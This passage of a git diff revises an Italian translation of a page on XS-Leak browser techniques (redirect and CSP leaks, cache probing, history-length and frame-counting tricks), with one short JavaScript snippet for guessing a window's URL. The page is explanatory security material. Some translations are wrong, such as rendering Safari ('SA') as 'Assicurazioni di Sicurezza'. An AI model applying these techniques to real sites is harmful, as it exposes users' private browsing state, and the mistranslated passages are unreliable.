Nelle Assicurazioni di Sicurezza (SA), l'Auditor XSS, originariamente destinato a prevenire attacchi di Cross-Site Scripting (XSS), può paradossalmente essere sfruttato per rivelare informazioni sensibili. Sebbene questa funzione integrata sia stata rimossa da Google Chrome (GC), è ancora presente in SA. Nel 2013, Braun e Heiderich hanno dimostrato che l'Auditor XSS potrebbe bloccare involontariamente script legittimi, portando a falsi positivi. Sviluppando ulteriormente questo, i ricercatori hanno sviluppato tecniche per estrarre informazioni e rilevare contenuti specifici su pagine cross-origin, un concetto noto come XS-Leaks, inizialmente riportato da Terada e approfondito da Heyes in un post sul blog. Sebbene queste tecniche fossero specifiche per l'Auditor XSS in GC, è stato scoperto che in SA, le pagine bloccate dall'Auditor XSS non generano voci nell'API di Prestazioni, rivelando un metodo attraverso il quale informazioni sensibili potrebbero ancora essere rivelate.
|
||||
|
||||
### Perdita di X-Frame
|
||||
|
||||
@ -340,8 +340,8 @@ Nelle Assicurazioni di Sicurezza (SA), l'Auditor XSS, originariamente destinato
|
||||
- **Summary:** Le risorse con intestazione X-Frame-Options non creano un'entrata di timing delle risorse.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
|
||||
|
||||
Se una pagina **non è consentita** di essere **renderizzata** in un **iframe**, non crea **un'entrata di prestazione**. Di conseguenza, un attaccante può rilevare l'intestazione di risposta **`X-Frame-Options`**.\
|
||||
Lo stesso accade se utilizzi un **tag embed**.
|
||||
Se una pagina **non è consentita** per essere **renderizzata** in un **iframe**, non crea **un'entrata di prestazione**. Di conseguenza, un attaccante può rilevare l'intestazione di risposta **`X-Frame-Options`**.\
|
||||
Lo stesso vale se utilizzi un **tag embed**.
|
||||
|
||||
### Rilevamento Download
|
||||
|
||||
@ -361,7 +361,7 @@ Simile all'XS-Leak descritto, una **risorsa che viene scaricata** a causa dell'i
|
||||
- **Summary:** L'entrata di timing delle risorse rivela il tempo di inizio di un redirect.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
|
||||
|
||||
Abbiamo trovato un'istanza di XS-Leak che sfrutta il comportamento di alcuni browser che registrano troppe informazioni per le richieste cross-origin. Lo standard definisce un sottoinsieme di attributi che dovrebbero essere impostati a zero per le risorse cross-origin. Tuttavia, in **SA** è possibile rilevare se l'utente è **stato reindirizzato** dalla pagina target, interrogando l'**API di Prestazioni** e controllando i dati temporali di **redirectStart**.
|
||||
Abbiamo trovato un'istanza di XS-Leak che sfrutta il comportamento di alcuni browser che registrano troppe informazioni per le richieste cross-origin. Lo standard definisce un sottoinsieme di attributi che dovrebbero essere impostati a zero per le risorse cross-origin. Tuttavia, in **SA** è possibile rilevare se l'utente è **reindirizzato** dalla pagina target, interrogando l'**API di Prestazioni** e controllando i dati temporali di **redirectStart**.
|
||||
|
||||
### Perdita di Durata Redirect
|
||||
|
||||
@ -392,7 +392,7 @@ In alcuni casi, l'**entrata nextHopProtocol** può essere utilizzata come tecnic
|
||||
- **Code Example**:
|
||||
|
||||
I service worker sono contesti di script attivati da eventi che vengono eseguiti a un'origine. Eseguono in background di una pagina web e possono intercettare, modificare e **memorizzare nella cache le risorse** per creare applicazioni web offline.\
|
||||
Se una **risorsa memorizzata nella cache** da un **service worker** viene accessibile tramite **iframe**, la risorsa verrà **caricata dalla cache del service worker**.\
|
||||
Se una **risorsa memorizzata nella cache** da un **service worker** viene accessibile tramite **iframe**, la risorsa sarà **caricata dalla cache del service worker**.\
|
||||
Per rilevare se la risorsa è stata **caricata dalla cache del service worker**, può essere utilizzata l'**API di Prestazioni**.\
|
||||
Questo potrebbe essere fatto anche con un attacco di Timing (controlla il documento per ulteriori informazioni).
|
||||
|
||||
@ -418,7 +418,7 @@ Utilizzando l'[API di Prestazioni](#performance-api) è possibile controllare se
|
||||
|
||||
### Errore Media
|
||||
|
||||
- **Inclusion Methods**: HTML Elements (Video, Audio)
|
||||
- **Inclusion Methods**: Elementi HTML (Video, Audio)
|
||||
- **Detectable Difference**: Codice di stato
|
||||
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
|
||||
- **Summary:** In Firefox è possibile rivelare con precisione il codice di stato di una richiesta cross-origin.
|
||||
@ -480,7 +480,7 @@ L'interfaccia `MediaError` ha una proprietà messaggio che identifica univocamen
|
||||
- **Riepilogo:** Nelle Security Assertions (SA), i messaggi di errore CORS espongono involontariamente l'URL completo delle richieste reindirizzate.
|
||||
- **Esempio di Codice**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
|
||||
|
||||
Questa tecnica consente a un attaccante di **estrarre la destinazione di un reindirizzamento di un sito cross-origin** sfruttando il modo in cui i browser basati su Webkit gestiscono le richieste CORS. In particolare, quando una **richiesta abilitata CORS** viene inviata a un sito di destinazione che emette un reindirizzamento basato sullo stato dell'utente e il browser successivamente nega la richiesta, l'**URL completo del target del reindirizzamento** viene rivelato all'interno del messaggio di errore. Questa vulnerabilità non solo rivela il fatto del reindirizzamento, ma espone anche l'endpoint del reindirizzamento e eventuali **parametri di query sensibili** che potrebbe contenere.
|
||||
Questa tecnica consente a un attaccante di **estrarre la destinazione di un reindirizzamento di un sito cross-origin** sfruttando il modo in cui i browser basati su Webkit gestiscono le richieste CORS. In particolare, quando una **richiesta abilitata CORS** viene inviata a un sito di destinazione che emette un reindirizzamento basato sullo stato dell'utente e il browser successivamente nega la richiesta, l'**URL completo dell'obiettivo del reindirizzamento** viene rivelato all'interno del messaggio di errore. Questa vulnerabilità non solo rivela il fatto del reindirizzamento, ma espone anche l'endpoint del reindirizzamento e eventuali **parametri di query sensibili** che potrebbe contenere.
|
||||
|
||||
### Errore SRI
|
||||
|
||||
@ -497,10 +497,10 @@ Un attaccante può sfruttare **messaggi di errore dettagliati** per dedurre la d
|
||||
- **Metodi di Inclusione**: Pop-up
|
||||
- **Differenza Rilevabile**: Codice di Stato
|
||||
- **Ulteriori informazioni**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
|
||||
- **Riepilogo:** Consentendo solo il sito web della vittima nella CSP, se tentiamo di reindirizzarci a un dominio diverso, la CSP attiverà un errore rilevabile.
|
||||
- **Riepilogo:** Consentendo solo il sito web della vittima nel CSP, se tentiamo di reindirizzare a un dominio diverso, il CSP attiverà un errore rilevabile.
|
||||
- **Esempio di Codice**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
|
||||
|
||||
Un XS-Leak può utilizzare la CSP per rilevare se un sito cross-origin è stato reindirizzato a un'origine diversa. Questa perdita può rilevare il reindirizzamento, ma inoltre, il dominio del target del reindirizzamento viene rivelato. L'idea di base di questo attacco è **consentire il dominio target sul sito dell'attaccante**. Una volta emessa una richiesta al dominio target, esso **reindirizza** a un dominio cross-origin. **La CSP blocca** l'accesso e crea un **rapporto di violazione utilizzato come tecnica di perdita**. A seconda del browser, **questo rapporto può rivelare la posizione target del reindirizzamento**.\
|
||||
Un XS-Leak può utilizzare il CSP per rilevare se un sito cross-origin è stato reindirizzato a un'origine diversa. Questa perdita può rilevare il reindirizzamento, ma inoltre, il dominio dell'obiettivo del reindirizzamento viene rivelato. L'idea di base di questo attacco è **consentire il dominio di destinazione sul sito dell'attaccante**. Una volta emessa una richiesta al dominio di destinazione, esso **reindirizza** a un dominio cross-origin. **Il CSP blocca** l'accesso e crea un **rapporto di violazione utilizzato come tecnica di perdita**. A seconda del browser, **questo rapporto può rivelare la posizione di destinazione del reindirizzamento**.\
|
||||
I browser moderni non indicheranno l'URL a cui è stato reindirizzato, ma è comunque possibile rilevare che è stato attivato un reindirizzamento cross-origin.
|
||||
|
||||
### Cache
|
||||
@ -508,22 +508,22 @@ I browser moderni non indicheranno l'URL a cui è stato reindirizzato, ma è com
|
||||
- **Metodi di Inclusione**: Frame, Pop-up
|
||||
- **Differenza Rilevabile**: Contenuto della Pagina
|
||||
- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
|
||||
- **Riepilogo:** Cancella il file dalla cache. Apre la pagina target e verifica se il file è presente nella cache.
|
||||
- **Riepilogo:** Cancella il file dalla cache. Apre la pagina di destinazione e verifica se il file è presente nella cache.
|
||||
- **Esempio di Codice:**
|
||||
|
||||
I browser potrebbero utilizzare una cache condivisa per tutti i siti web. Indipendentemente dalla loro origine, è possibile dedurre se una pagina target ha **richiesto un file specifico**.
|
||||
I browser potrebbero utilizzare una cache condivisa per tutti i siti web. Indipendentemente dalla loro origine, è possibile dedurre se una pagina di destinazione ha **richiesto un file specifico**.
|
||||
|
||||
Se una pagina carica un'immagine solo se l'utente è connesso, puoi **invalidare** la **risorsa** (quindi non è più memorizzata nella cache se lo era, vedi i link per ulteriori informazioni), **effettuare una richiesta** che potrebbe caricare quella risorsa e provare a caricare la risorsa **con una richiesta errata** (ad esempio utilizzando un'intestazione referer troppo lunga). Se il caricamento della risorsa **non ha attivato alcun errore**, è perché era **memorizzata nella cache**.
|
||||
Se una pagina carica un'immagine solo se l'utente è connesso, puoi **invalidare** la **risorsa** (quindi non è più memorizzata nella cache se lo era, vedi i link per ulteriori informazioni), **effettuare una richiesta** che potrebbe caricare quella risorsa e provare a caricare la risorsa **con una richiesta errata** (ad esempio, utilizzando un'intestazione referer troppo lunga). Se il caricamento della risorsa **non ha attivato alcun errore**, è perché era **memorizzata nella cache**.
|
||||
|
||||
### Direttiva CSP
|
||||
|
||||
- **Metodi di Inclusione**: Frame
|
||||
- **Differenza Rilevabile**: Intestazione
|
||||
- **Ulteriori informazioni**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
|
||||
- **Riepilogo:** Le direttive dell'intestazione CSP possono essere sondati utilizzando l'attributo iframe CSP, rivelando i dettagli della policy.
|
||||
- **Riepilogo:** Le direttive dell'intestazione CSP possono essere sondati utilizzando l'attributo iframe CSP, rivelando i dettagli della politica.
|
||||
- **Esempio di Codice**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
|
||||
|
||||
Una nuova funzionalità in Google Chrome (GC) consente alle pagine web di **proporre una Content Security Policy (CSP)** impostando un attributo su un elemento iframe, con le direttive della policy trasmesse insieme alla richiesta HTTP. Normalmente, il contenuto incorporato deve **autorizzare questo tramite un'intestazione HTTP**, o viene **visualizzata una pagina di errore**. Tuttavia, se l'iframe è già governato da una CSP e la nuova policy proposta non è più restrittiva, la pagina verrà caricata normalmente. Questo meccanismo apre un percorso per un attaccante per **rilevare specifiche direttive CSP** di una pagina cross-origin identificando la pagina di errore. Sebbene questa vulnerabilità sia stata segnalata come risolta, le nostre scoperte rivelano una **nuova tecnica di perdita** capace di rilevare la pagina di errore, suggerendo che il problema sottostante non è mai stato completamente affrontato.
|
||||
Una nuova funzionalità in Google Chrome (GC) consente alle pagine web di **proporre una Content Security Policy (CSP)** impostando un attributo su un elemento iframe, con le direttive della politica trasmesse insieme alla richiesta HTTP. Normalmente, il contenuto incorporato deve **autorizzare questo tramite un'intestazione HTTP**, o viene **visualizzata una pagina di errore**. Tuttavia, se l'iframe è già governato da un CSP e la nuova politica proposta non è più restrittiva, la pagina verrà caricata normalmente. Questo meccanismo apre un percorso per un attaccante per **rilevare specifiche direttive CSP** di una pagina cross-origin identificando la pagina di errore. Sebbene questa vulnerabilità sia stata segnalata come risolta, le nostre scoperte rivelano una **nuova tecnica di perdita** capace di rilevare la pagina di errore, suggerendo che il problema sottostante non è mai stato completamente affrontato.
|
||||
|
||||
### **CORP**
|
||||
|
||||
@ -553,7 +553,7 @@ Controlla il link per ulteriori informazioni sull'attacco.
|
||||
- **Riepilogo**: Se l'intestazione Origin è riflessa nell'intestazione `Access-Control-Allow-Origin`, è possibile verificare se una risorsa è già nella cache.
|
||||
- **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
||||
|
||||
Nel caso in cui l'**intestazione Origin** venga **riflessa** nell'intestazione `Access-Control-Allow-Origin`, un attaccante può abusare di questo comportamento per cercare di **recuperare** la **risorsa** in modalità **CORS**. Se non viene **attivato** un **errore**, significa che è stata **recuperata correttamente dal web**, se viene **attivato** un errore, è perché è stata **accessibile dalla cache** (l'errore appare perché la cache salva una risposta con un'intestazione CORS che consente il dominio originale e non il dominio dell'attaccante)**.**\
|
||||
Nel caso in cui l'**intestazione Origin** venga **riflessa** nell'intestazione `Access-Control-Allow-Origin`, un attaccante può abusare di questo comportamento per cercare di **recuperare** la **risorsa** in modalità **CORS**. Se non viene attivato alcun **errore**, significa che è stata **recuperata correttamente dal web**, se viene attivato un errore, è perché è stata **accessibile dalla cache** (l'errore appare perché la cache salva una risposta con un'intestazione CORS che consente il dominio originale e non il dominio dell'attaccante)**.**\
|
||||
Nota che se l'origine non è riflessa ma viene utilizzato un carattere jolly (`Access-Control-Allow-Origin: *`), questo non funzionerà.
|
||||
|
||||
## Tecnica degli Attributi Leggibili
|
||||
@ -576,7 +576,7 @@ Inviare una richiesta utilizzando l'API Fetch con `redirect: "manual"` e altri p
|
||||
- **Riepilogo:** Le pagine protette dalla Cross-Origin Opener Policy (COOP) impediscono l'accesso da interazioni cross-origin.
|
||||
- **Esempio di Codice**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
|
||||
|
||||
Un attaccante è in grado di dedurre la presenza dell'intestazione Cross-Origin Opener Policy (COOP) in una risposta HTTP cross-origin. COOP è utilizzato dalle applicazioni web per ostacolare i siti esterni dall'ottenere riferimenti a finestre arbitrarie. La visibilità di questa intestazione può essere discernita tentando di accedere al **riferimento `contentWindow`**. Negli scenari in cui COOP è applicato in modo condizionale, la **proprietà `opener`** diventa un indicatore rivelatore: è **undefined** quando COOP è attivo e **definita** in sua assenza.
|
||||
Un attaccante è in grado di dedurre la presenza dell'intestazione Cross-Origin Opener Policy (COOP) in una risposta HTTP cross-origin. COOP è utilizzato dalle applicazioni web per impedire ai siti esterni di ottenere riferimenti a finestre arbitrarie. La visibilità di questa intestazione può essere discernita tentando di accedere al **riferimento `contentWindow`**. Negli scenari in cui COOP è applicato in modo condizionale, la **proprietà `opener`** diventa un indicatore rivelatore: è **undefined** quando COOP è attivo e **definita** in sua assenza.
|
||||
|
||||
### Lunghezza Massima URL - Lato Server
|
||||
|
||||
@ -598,16 +598,16 @@ Un esempio di **cookie bomb + XS-Search** può essere trovato nella soluzione pr
|
||||
- **Metodi di Inclusione**: Pop-up
|
||||
- **Differenza Rilevabile**: Codice di Stato / Contenuto
|
||||
- **Ulteriori informazioni**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
- **Riepilogo:** Rileva differenze nelle risposte perché la lunghezza della risposta di reindirizzamento potrebbe essere troppo grande per una richiesta da far notare una differenza.
|
||||
- **Riepilogo:** Rileva differenze nelle risposte perché la lunghezza della risposta di reindirizzamento potrebbe essere troppo grande per una richiesta da notare una differenza.
|
||||
- **Esempio di Codice**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
|
||||
Secondo la [documentazione di Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), la lunghezza massima dell'URL di Chrome è di 2MB.
|
||||
|
||||
> In generale, la _piattaforma web_ non ha limiti sulla lunghezza degli URL (anche se 2^31 è un limite comune). _Chrome_ limita gli URL a una lunghezza massima di **2MB** per motivi pratici e per evitare di causare problemi di negazione del servizio nella comunicazione interprocesso.
|
||||
> In generale, la _piattaforma web_ non ha limiti sulla lunghezza degli URL (anche se 2^31 è un limite comune). _Chrome_ limita gli URL a una lunghezza massima di **2MB** per motivi pratici e per evitare di causare problemi di denial-of-service nella comunicazione inter-processo.
|
||||
|
||||
Pertanto, se la **risposta dell'URL di reindirizzamento è più grande in uno dei casi**, è possibile farlo reindirizzare con un **URL più grande di 2MB** per colpire il **limite di lunghezza**. Quando ciò accade, Chrome mostra una pagina **`about:blank#blocked`**.
|
||||
|
||||
La **differenza evidente** è che se il **reindirizzamento** è stato **completato**, `window.origin` genera un **errore** perché un'origine cross non può accedere a quelle informazioni. Tuttavia, se il **limite** è stato \*\*\*\* raggiunto e la pagina caricata era **`about:blank#blocked`**, l'**origine** della finestra rimane quella del **genitore**, che è un **informazione accessibile.**
|
||||
La **differenza evidente** è che se il **reindirizzamento** è stato **completato**, `window.origin` genera un **errore** perché un'origine cross non può accedere a quelle informazioni. Tuttavia, se il **limite** è stato raggiunto e la pagina caricata era **`about:blank#blocked`**, l'**origine** della finestra rimane quella del **genitore**, che è un **informazione accessibile.**
|
||||
|
||||
Tutte le informazioni extra necessarie per raggiungere i **2MB** possono essere aggiunte tramite un **hash** nell'URL iniziale in modo che venga **utilizzato nel reindirizzamento**.
|
||||
|
||||
@ -623,7 +623,7 @@ url-max-length-client-side.md
|
||||
- **Riepilogo:** Utilizza il limite di reindirizzamento del browser per accertare l'occorrenza di reindirizzamenti URL.
|
||||
- **Esempio di Codice**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
|
||||
|
||||
Se il **numero massimo** di **reindirizzamenti** da seguire di un browser è **20**, un attaccante potrebbe provare a caricare la propria pagina con **19 reindirizzamenti** e infine **inviare la vittima** alla pagina testata. Se viene **attivato** un **errore**, significa che la pagina stava cercando di **reindirizzare la vittima**.
|
||||
Se il **numero massimo** di **reindirizzamenti** da seguire di un browser è **20**, un attaccante potrebbe provare a caricare la propria pagina con **19 reindirizzamenti** e infine **inviare la vittima** alla pagina testata. Se viene attivato un **errore**, significa che la pagina stava cercando di **reindirizzare la vittima**.
|
||||
|
||||
### Lunghezza della Storia
|
||||
|
||||
@ -634,16 +634,16 @@ Se il **numero massimo** di **reindirizzamenti** da seguire di un browser è **2
|
||||
- **Esempio di Codice**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
|
||||
|
||||
L'**API della Cronologia** consente al codice JavaScript di manipolare la cronologia del browser, che **salva le pagine visitate da un utente**. Un attaccante può utilizzare la proprietà lunghezza come metodo di inclusione: per rilevare la navigazione JavaScript e HTML.\
|
||||
**Controllando `history.length`**, facendo **navigare** un utente a una pagina, **cambiandola** **di nuovo** allo stesso origine e **controllando** il nuovo valore di **`history.length`**.
|
||||
**Controllando `history.length`**, facendo navigare un utente a una pagina, **cambiandola** **di nuovo** allo stesso origine e **controllando** il nuovo valore di **`history.length`**.
|
||||
|
||||
### Lunghezza della Storia con lo stesso URL
|
||||
|
||||
- **Metodi di Inclusione**: Frame, Pop-up
|
||||
- **Differenza Rilevabile**: Se l'URL è lo stesso di quello indovinato
|
||||
- **Riepilogo:** È possibile indovinare se la posizione di un frame/pop-up è in un URL specifico abusando della lunghezza della storia.
|
||||
- **Esempio di Codice**: Di seguito
|
||||
- **Esempio di Codice**: Sotto
|
||||
|
||||
Un attaccante potrebbe utilizzare il codice JavaScript per **manipolare la posizione del frame/pop-up in un URL indovinato** e **immediatamente** **cambiarlo in `about:blank`**. Se la lunghezza della storia è aumentata, significa che l'URL era corretto e ha avuto tempo di **aumentare perché l'URL non viene ricaricato se è lo stesso**. Se non è aumentata, significa che ha **cercato di caricare l'URL indovinato**, ma poiché abbiamo **immediatamente dopo** caricato **`about:blank`**, la **lunghezza della storia non è mai aumentata** quando si caricava l'URL indovinato.
|
||||
Un attaccante potrebbe utilizzare il codice JavaScript per **manipolare la posizione del frame/pop-up in uno indovinato** e **immediatamente** **cambiarlo in `about:blank`**. Se la lunghezza della storia è aumentata, significa che l'URL era corretto e ha avuto tempo di **aumentare perché l'URL non viene ricaricato se è lo stesso**. Se non è aumentata, significa che ha **cercato di caricare l'URL indovinato**, ma perché abbiamo **immediatamente dopo** caricato **`about:blank`**, la **lunghezza della storia non è mai aumentata** quando si caricava l'URL indovinato.
|
||||
```javascript
|
||||
async function debug(win, url) {
|
||||
win.location = url + "#aaa"
|
||||
@ -661,94 +661,94 @@ win = window.open("https://example.com/?a=b")
|
||||
await new Promise((r) => setTimeout(r, 2000))
|
||||
console.log(await debug(win, "https://example.com/?a=b"))
|
||||
```
|
||||
### Conteggio dei Frame
|
||||
### Frame Counting
|
||||
|
||||
- **Metodi di Inclusione**: Frame, Pop-up
|
||||
- **Differenza Rilevabile**: Contenuto della Pagina
|
||||
- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
|
||||
- **Riepilogo:** Valuta la quantità di elementi iframe ispezionando la proprietà `window.length`.
|
||||
- **Esempio di Codice**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
|
||||
- **Inclusion Methods**: Frames, Pop-ups
|
||||
- **Detectable Difference**: Page Content
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
|
||||
- **Summary:** Valuta la quantità di elementi iframe ispezionando la proprietà `window.length`.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
|
||||
|
||||
Contare il **numero di frame in un web** aperto tramite `iframe` o `window.open` potrebbe aiutare a identificare lo **stato dell'utente su quella pagina**.\
|
||||
Inoltre, se la pagina ha sempre lo stesso numero di frame, controllare **continuamente** il numero di frame potrebbe aiutare a identificare un **modello** che potrebbe rivelare informazioni.
|
||||
|
||||
Un esempio di questa tecnica è che in chrome, un **PDF** può essere **rilevato** con **conteggio dei frame** perché viene utilizzato un `embed` internamente. Ci sono [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) che consentono un certo controllo sul contenuto come `zoom`, `view`, `page`, `toolbar` dove questa tecnica potrebbe essere interessante.
|
||||
Un esempio di questa tecnica è che in chrome, un **PDF** può essere **rilevato** con **frame counting** perché viene utilizzato un `embed` internamente. Ci sono [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) che consentono un certo controllo sul contenuto come `zoom`, `view`, `page`, `toolbar` dove questa tecnica potrebbe essere interessante.
|
||||
|
||||
### Elementi HTML
|
||||
### HTMLElements
|
||||
|
||||
- **Metodi di Inclusione**: Elementi HTML
|
||||
- **Differenza Rilevabile**: Contenuto della Pagina
|
||||
- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
|
||||
- **Riepilogo:** Leggi il valore trapelato per distinguere tra 2 possibili stati
|
||||
- **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Detectable Difference**: Page Content
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
|
||||
- **Summary:** Leggi il valore trapelato per distinguere tra 2 possibili stati
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
|
||||
|
||||
La perdita di informazioni attraverso gli elementi HTML è una preoccupazione nella sicurezza web, in particolare quando file multimediali dinamici vengono generati in base alle informazioni dell'utente, o quando vengono aggiunti filigrane, alterando la dimensione del media. Questo può essere sfruttato dagli attaccanti per differenziare tra possibili stati analizzando le informazioni esposte da determinati elementi HTML.
|
||||
|
||||
### Informazioni Esposte dagli Elementi HTML
|
||||
### Information Exposed by HTML Elements
|
||||
|
||||
- **HTMLMediaElement**: Questo elemento rivela la `duration` e i tempi `buffered` del media, che possono essere accessibili tramite la sua API. [Leggi di più su HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
|
||||
- **HTMLVideoElement**: Espone `videoHeight` e `videoWidth`. In alcuni browser, sono disponibili proprietà aggiuntive come `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` e `webkitDecodedFrameCount`, offrendo informazioni più dettagliate sul contenuto multimediale. [Leggi di più su HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
|
||||
- **getVideoPlaybackQuality()**: Questa funzione fornisce dettagli sulla qualità della riproduzione video, inclusi `totalVideoFrames`, che possono indicare la quantità di dati video elaborati. [Leggi di più su getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
|
||||
- **HTMLImageElement**: Questo elemento rivela l'`height` e la `width` di un'immagine. Tuttavia, se un'immagine è non valida, queste proprietà restituiranno 0, e la funzione `image.decode()` verrà rifiutata, indicando il fallimento nel caricare correttamente l'immagine. [Leggi di più su HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
||||
- **HTMLMediaElement**: Questo elemento rivela la `duration` e i tempi `buffered` del media, che possono essere accessibili tramite la sua API. [Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
|
||||
- **HTMLVideoElement**: Espone `videoHeight` e `videoWidth`. In alcuni browser, sono disponibili proprietà aggiuntive come `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` e `webkitDecodedFrameCount`, offrendo informazioni più dettagliate sul contenuto multimediale. [Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
|
||||
- **getVideoPlaybackQuality()**: Questa funzione fornisce dettagli sulla qualità della riproduzione video, inclusi `totalVideoFrames`, che possono indicare la quantità di dati video elaborati. [Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
|
||||
- **HTMLImageElement**: Questo elemento rivela l'`height` e la `width` di un'immagine. Tuttavia, se un'immagine è non valida, queste proprietà restituiranno 0, e la funzione `image.decode()` verrà rifiutata, indicando il fallimento nel caricare correttamente l'immagine. [Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
||||
|
||||
### Proprietà CSS
|
||||
### CSS Property
|
||||
|
||||
- **Metodi di Inclusione**: Elementi HTML
|
||||
- **Differenza Rilevabile**: Contenuto della Pagina
|
||||
- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
|
||||
- **Riepilogo:** Identifica le variazioni nello stile del sito web che si correlano con lo stato o la condizione dell'utente.
|
||||
- **Esempio di Codice**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Detectable Difference**: Page Content
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
|
||||
- **Summary:** Identifica le variazioni nello stile del sito web che si correlano con lo stato o la condizione dell'utente.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
|
||||
|
||||
